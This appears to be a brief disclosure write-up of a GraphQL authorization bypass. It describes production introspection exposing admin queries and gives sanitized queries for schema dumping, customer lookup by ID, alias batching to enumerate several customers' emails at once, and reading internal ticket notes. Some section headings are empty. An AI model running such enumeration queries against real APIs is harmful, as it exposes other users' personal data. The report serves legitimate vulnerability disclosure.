GraphQL Authorization Bypass via Alias Batching & Resolver Enumeration

⟫ Disclosure Timeline

⟫ Reconnaissance

Intercepted API traffic via Burp Suite. Identified a single /graphql endpoint handling all data queries. Tested for introspection availability.

⟫ Vulnerability Discovery

GraphQL introspection was enabled in production, exposing the full schema including hidden admin-only queries and mutations.

⟫ GraphQL Resolver Mapping

⟫ Payload Analysis

All payloads below are sanitized proof-of-concept examples. No active exploitation code is shown.

query IntrospectionQuery {
  __schema {
    queryType { name }
    types {
      name
      fields { name type { name } }
    }
  }
}

query {
  customer(id: "CUST-REDACTED-001") {
    id
    email
    plan
  }
}

query {
  customer(id: "CUST-REDACTED-099") {
    id
    email
    plan
  }
}

query {
  a1: customer(id: "CUST-REDACTED-001") { id email }
  a2: customer(id: "CUST-REDACTED-002") { id email }
  a3: customer(id: "CUST-REDACTED-003") { id email }
  a4: customer(id: "CUST-REDACTED-004") { id email }
}

query {
  internalNotes(ticketId: "TKT-REDACTED") {
    content
    author
    createdAt
  }
}